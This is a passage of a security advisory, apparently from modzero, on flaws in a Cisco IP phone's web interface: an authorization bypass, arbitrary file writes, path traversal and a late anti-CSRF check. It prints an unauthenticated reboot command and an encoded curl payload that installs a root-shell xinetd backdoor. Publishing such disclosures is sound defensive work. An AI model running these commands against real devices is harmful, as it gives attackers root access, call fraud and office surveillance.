</span></span><span class="line"><span class="cl">extractUsernameAndPassword() it can be observed that the code lacks
</span></span><span class="line"><span class="cl">set-up and validation of stack canaries in the function prolog and
</span></span><span class="line"><span class="cl">epilog. Therefore, an attacker is able to trivially overwrite the
</span></span><span class="line"><span class="cl">saved program counter located on the stack. The underlying Linux
</span></span><span class="line"><span class="cl">kernel has Address-Space Layout Randomization (ASLR) enabled
</span></span><span class="line"><span class="cl">(/proc/sys/kernel/randomize_va_space was observed to be set to the
</span></span><span class="line"><span class="cl">value 2), but the verbose externally exposed message log via the web
</span></span><span class="line"><span class="cl">server contains memory addresses from the HTTP server processes as
</span></span><span class="line"><span class="cl">shown below. Therefore, an attacker is likely to correctly guess
</span></span><span class="line"><span class="cl">memory addresses and becomes able to defeat the ASLR countermeasure.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">7923 DEB Jun 11 10:12:03.235178 (709:818) JAVA-Sec SSL Connection  - Added SSL connection handle 0x40f82660, connDesc 90 to table.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">3.2 Phone&#39;s web interface fails to restrict access to functions
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The IP phone’s web server implements authorization checks to control
</span></span><span class="line"><span class="cl">access to functions. A programming error allows to bypass these
</span></span><span class="line"><span class="cl">checks and access internal functions without authentication. For
</span></span><span class="line"><span class="cl">example, the phone can be rebooted. This issue facilitated the
</span></span><span class="line"><span class="cl">proof-of-concept exploit to gain remote root access to IP phones
</span></span><span class="line"><span class="cl">described in the appendix.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Internally, web pages that allow interaction with internal functions
</span></span><span class="line"><span class="cl">(in contrast to web pages that only display information) are called
</span></span><span class="line"><span class="cl">“editable pages”. If an incoming request is recognized to access an
</span></span><span class="line"><span class="cl">editable page, further checks for authentication and authorization are
</span></span><span class="line"><span class="cl">performed.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The disassembly of the vulnerable function isEditablePage() in the two
</span></span><span class="line"><span class="cl">firmware versions is rewritten as the pseudo-code below and
</span></span><span class="line"><span class="cl">illustrates how the function employs strcmp() to analyze incoming HTTP
</span></span><span class="line"><span class="cl">requests. It fails to produce the correct result when the input does
</span></span><span class="line"><span class="cl">not exactly match the test strings. This is possible for example, when
</span></span><span class="line"><span class="cl">the parameter string contains additional but insignificant characters
</span></span><span class="line"><span class="cl">like an ampersand (‘&amp;’).
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">int isEditablePage(
</span></span><span class="line"><span class="cl">    char *uri,    // query path
</span></span><span class="line"><span class="cl">    char *params, // query parameters
</span></span><span class="line"><span class="cl">) {
</span></span><span class="line"><span class="cl">    return (
</span></span><span class="line"><span class="cl">        strcmp(uri, “/CGI/Java/Serviceability”) == 0 &amp;&amp; (
</span></span><span class="line"><span class="cl">            strcmp(params, “adapter=datetime”) == 0 ||
</span></span><span class="line"><span class="cl">            strcmp(params, “adapter=datetimelocal”) == 0 ||
</span></span><span class="line"><span class="cl">            strcmp(params, “adapter=datetimespec”) == 0 ||
</span></span><span class="line"><span class="cl">…
</span></span><span class="line"><span class="cl">        )
</span></span><span class="line"><span class="cl">    ) || … ;
</span></span><span class="line"><span class="cl">}
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The following command exploits the described behavior to reboot the
</span></span><span class="line"><span class="cl">phone. Another exploit of the described issue is shown in the
</span></span><span class="line"><span class="cl">appendix:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">curl -k -d 1 &#34;https://&lt;IPaddr&gt;/CGI/Java/Serviceability?adapter=do_restart&amp;&#34;
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">3.3 File upload vulnerability in the phone&#39;s web interface
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The IP phone contains a function that allows uploading of files to the
</span></span><span class="line"><span class="cl">phone’s file system. It is usually employed to upload custom
</span></span><span class="line"><span class="cl">certificates and constructed in a non-standard way, i.e. it already writes
</span></span><span class="line"><span class="cl">data to a local file during an initial parameter parsing step. As a
</span></span><span class="line"><span class="cl">consequence, it is possible to write arbitrary file contents, even
</span></span><span class="line"><span class="cl">when later processing steps fail or no further actions are performed
</span></span><span class="line"><span class="cl">on the data. This may lead to denial-of-service conditions, for
</span></span><span class="line"><span class="cl">example storage media failure or storage space exhaustion. The ability
</span></span><span class="line"><span class="cl">to persist arbitrary data on the device facilitated creation of the
</span></span><span class="line"><span class="cl">exploit described in the appendix.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The problematic file upload function is implemented in Java. Incoming
</span></span><span class="line"><span class="cl">HTTP POST requests are handled by the doPost method. When the
</span></span><span class="line"><span class="cl">parameter adapter is equal to “loginPost”, “upload_usercert” or
</span></span><span class="line"><span class="cl">“upload_rootca”, the method parseFormResults() is called to process
</span></span><span class="line"><span class="cl">the request body. parseFormResults() iterates over all body parts and
</span></span><span class="line"><span class="cl">in turn calls parseHeader() for each. Instead of postponing any data
</span></span><span class="line"><span class="cl">processing steps until all input has fully been validated, the method
</span></span><span class="line"><span class="cl">parseFormResults() has the side-effect of writing the parts named
</span></span><span class="line"><span class="cl">“rootca” and “usercert” to the file system.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">3.4 Phone&#39;s file upload affected by path traversal and null injection
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The IP phones contain a file upload function which is vulnerable to
</span></span><span class="line"><span class="cl">path traversal and null byte injection. An attacker is able to write
</span></span><span class="line"><span class="cl">to arbitrary files in the file system, with permissions of the web
</span></span><span class="line"><span class="cl">server process. The proof of concept exploit in the appendix shows how
</span></span><span class="line"><span class="cl">this issue enabled writing to configuration file locations to place a
</span></span><span class="line"><span class="cl">persistent back-door on the phone.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The problematic file upload function is implemented in Java. The
</span></span><span class="line"><span class="cl">parseHeader() method constructs target file paths with the two
</span></span><span class="line"><span class="cl">following statements:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">this.usercertFileName = &#34;/usr/local/wifi/rootca/&#34; + this.rootca + &#34;.up&#34;;
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">this.usercertFileName = &#34;/usr/local/wifi/usercert/&#34; + this.usercert + &#34;.up&#34;;
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">An attacker directly controls the member variables rootca and
</span></span><span class="line"><span class="cl">usercert. By prefixing a desired path with a sequence of dots and
</span></span><span class="line"><span class="cl">slashes and terminating the string with a null character, an arbitrary
</span></span><span class="line"><span class="cl">file path can be written to.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">3.5 Anti-Cross-Site Request Forgery Token ineffective in Phone’s upload function
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The web interface available on the phones contains an upload function
</span></span><span class="line"><span class="cl">for user-provided certificates. To protect against Cross-Site Request
</span></span><span class="line"><span class="cl">Forgery (CSRF) attacks, an Anti-CSRF token is employed. But the
</span></span><span class="line"><span class="cl">Anti-CSRF token is validated too late, after input data has already
</span></span><span class="line"><span class="cl">been written to the file system. Therefore, the Anti-CSRF token is
</span></span><span class="line"><span class="cl">ineffective and does not protect the upload function from CSRF
</span></span><span class="line"><span class="cl">attacks. An attacker may abuse this behavior to exploit security
</span></span><span class="line"><span class="cl">vulnerabilities in the phone’s web server in a CSRF-scenario: For
</span></span><span class="line"><span class="cl">example, by luring an internet-connected victim web browser onto an
</span></span><span class="line"><span class="cl">attacker-controlled page. If the (possibly authenticated) victim also
</span></span><span class="line"><span class="cl">has access to the phone’s web server, the attacker-controlled page may
</span></span><span class="line"><span class="cl">submit malicious requests to the phone.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The method parseFormResults() in the upload implementation verifies
</span></span><span class="line"><span class="cl">the CSRFToken parameter as final step. This is insufficient, because
</span></span><span class="line"><span class="cl">actions with substantial side-effects have already been performed
</span></span><span class="line"><span class="cl">before the check raises an exception. The exception caused by failure
</span></span><span class="line"><span class="cl">of the CSRFToken check does not inhibit exploitation of
</span></span><span class="line"><span class="cl">vulnerabilities, as demonstrated by the proof-of-concept in the
</span></span><span class="line"><span class="cl">appendix.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">4. Impact
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">modzero identified several critical vulnerabilities in Cisco phone
</span></span><span class="line"><span class="cl">web interfaces which lead to a full compromise of the phone without
</span></span><span class="line"><span class="cl">any authentication. An attacker could exploit these vulnerabilities to
</span></span><span class="line"><span class="cl">obtain sensitive call data, to perform call fraud, as well as an audio
</span></span><span class="line"><span class="cl">and video surveillance of offices, and to use the phones as attack
</span></span><span class="line"><span class="cl">platform for other infrastructure.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">5. Proof of concept exploit
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">An IP phone (model CP-8865, firmware version
</span></span><span class="line"><span class="cl">cmterm-8845_65.12-0-1SR1-1) was successfully compromised via
</span></span><span class="line"><span class="cl">exploitation of a combination of vulnerabilities. The command below
</span></span><span class="line"><span class="cl">performs a carefully constructed HTTP request to the phone’s web
</span></span><span class="line"><span class="cl">server to exploit the vulnerabilities documented in this advisory:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">echo &#34;H4sIANX2IlsCA5WPwWoDMQxEexbsP5jcvS45JuRbimsricCxjCynLiX/Hu+ylFx6KOgwejAzjLW99wkCZ8WsNlItXE&#34;\
</span></span><span class="line"><span class="cl">&#34;mJ88GcWW42evVHk/0NT8KsYTxnSriC3Ty732tVXOLgk+uUUaPrb7sJlpgJJqgodwpoOvyAfhc0J9NyoqoYoQgrB06DaSjw5&#34;\
</span></span><span class="line"><span class="cl">&#34;UmHzAxtuIZ6h4twK6taclboPim7et3Ah5dLHdQSFJbFvt/DY/Taf+xb6gKK/rXw7sVJy9u+uVB8Xbh1WQtPExeckFQBAAA=&#34;|
</span></span><span class="line"><span class="cl">base64 -d|gunzip|curl -k --data-binary @- -H &#34;Content-Type: multipart/form-data; boundary=xxx&#34; \
</span></span><span class="line"><span class="cl">&#34;https://&lt;IPaddr&gt;/CGI/Java/Serviceability?adapter=loginPost&amp;&#34;
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The first exploited vulnerability is the issue described in section
</span></span><span class="line"><span class="cl">3.1: The authorization check to access the loginPost function is
</span></span><span class="line"><span class="cl">bypassed by appending an ampersand (‘&amp;’) symbol to the URL. The input
</span></span><span class="line"><span class="cl">payload data is written to the file system due to the file upload
</span></span><span class="line"><span class="cl">vulnerability described in section 3.3. By exploiting the path
</span></span><span class="line"><span class="cl">traversal and null injection vulnerability documented in section 3.4,
</span></span><span class="line"><span class="cl">an internal path can be specified to write into configuration
</span></span><span class="line"><span class="cl">files. The attacker does not provide a valid anti-CSRF token, which
</span></span><span class="line"><span class="cl">causes the server to respond with HTTP error 400 Bad Request. But this
</span></span><span class="line"><span class="cl">does not stop the attack, because of the vulnerable anti-CSRF token
</span></span><span class="line"><span class="cl">validation mechanism described in section 3.5.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The malicious request writes two files. First, a configuration for a
</span></span><span class="line"><span class="cl">backdoor xinetd service is written to the location
</span></span><span class="line"><span class="cl">/usr/local/xinetd/x. The service consists of a root (user 0) shell
</span></span><span class="line"><span class="cl">listening on tcp port 22. (Port 22 was selected, because observed
</span></span><span class="line"><span class="cl">firewall configuration suggested that traffic to this port is
</span></span><span class="line"><span class="cl">typically allowed and expected. If another service is already active
</span></span><span class="line"><span class="cl">on port 22, this may need to be adjusted.) The xinetd configuration is
</span></span><span class="line"><span class="cl">reproduced below:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">service x
</span></span><span class="line"><span class="cl">{
</span></span><span class="line"><span class="cl">type = unlisted
</span></span><span class="line"><span class="cl">protocol = tcp
</span></span><span class="line"><span class="cl">wait = no
</span></span><span class="line"><span class="cl">user = 0
</span></span><span class="line"><span class="cl">group = 0
</span></span><span class="line"><span class="cl">server = /bin/sh
</span></span><span class="line"><span class="cl">server_args = -i
</span></span><span class="line"><span class="cl">port = 22
</span></span><span class="line"><span class="cl">}
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The second part of the requests writes the empty string to
</span></span><span class="line"><span class="cl">/var/run/xinetd.pid, effectively truncating the file. This file is
</span></span><span class="line"><span class="cl">periodically inspected by the cron script located in
</span></span><span class="line"><span class="cl">/etc/cron.5mins/02xinetdmon, which is shown below. The cron script
</span></span><span class="line"><span class="cl">executes every fifth minute in the hour and after xinetd.pid was
</span></span><span class="line"><span class="cl">tampered with, will ensure that xinetd starts with the backdoor
</span></span><span class="line"><span class="cl">configuration.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">#!/bin/sh
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">xinetd_pid=$( cat /var/run/xinetd.pid )
</span></span><span class="line"><span class="cl">if [ -z &#34;$xinetd_pid&#34; -o ! -d /proc/&#34;$xinetd_pid&#34; ]; then
</span></span><span class="line"><span class="cl">   # In dd/mm/yy/hour/min/sec format
</span></span><span class="line"><span class="cl">   currtime=$(date +&#34;%d%m%y%H%M%S&#34;)
</span></span><span class="line"><span class="cl">   echo &#34;$currtime: cannot find xinetd&#34; &gt;&gt; /usr/local/backtraces/xinetd.crash
</span></span><span class="line"><span class="cl">   echo &#34;$currtime: starting xinetd&#34; &gt;&gt; /usr/local/backtraces/xinetd.crash
</span></span><span class="line"><span class="cl">   /etc/init.d/xinetd.sh start
</span></span><span class="line"><span class="cl">fi
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">After waiting until the next fifth minute has passed, the backdoor
</span></span><span class="line"><span class="cl">service is started and can be accessed via connecting to port 22 of
</span></span><span class="line"><span class="cl">the phone.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">6. Workaround
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Disabling the web interface on the affected phone eliminates the
</span></span><span class="line"><span class="cl">risk.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">7. Fix
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">According to the Cisco advisories, fixes are available.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">8. Credits
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> * David Gullasch
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">9. About modzero
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The independent Swiss company modzero AG assists clients with security
</span></span><span class="line"><span class="cl">analysis in the complex areas of computer technology. The focus lies
</span></span><span class="line"><span class="cl">on highly detailed technical analysis of concepts, software and
</span></span><span class="line"><span class="cl">hardware components as well as the development of individual
</span></span><span class="line"><span class="cl">solutions. Colleagues at modzero AG work exclusively in practical,
</span></span><span class="line"><span class="cl">highly technical computer-security areas and can draw on decades of
</span></span><span class="line"><span class="cl">experience in various platforms, system concepts, and designs.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">https://www.modzero.ch
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">contact@modzero.ch
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">10. Disclaimer
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The information in the advisory is believed to be accurate at the time
</span></span><span class="line"><span class="cl">of publishing based on currently available information. Use of the
</span></span><span class="line"><span class="cl">information constitutes acceptance for use in an AS IS condition.
</span></span><span class="line"><span class="cl">There are no warranties with regard to this information. Neither the
</span></span><span class="line"><span class="cl">author nor the publisher accepts any liability for any direct,
</span></span><span class="line"><span class="cl">indirect, or consequential loss or damage arising from use of, or
</span></span><span class="line"><span class="cl">reliance on, this information.
</span></span></code></pre></td></tr></table>
</div>
</div>]]></content:encoded></item></channel></rss>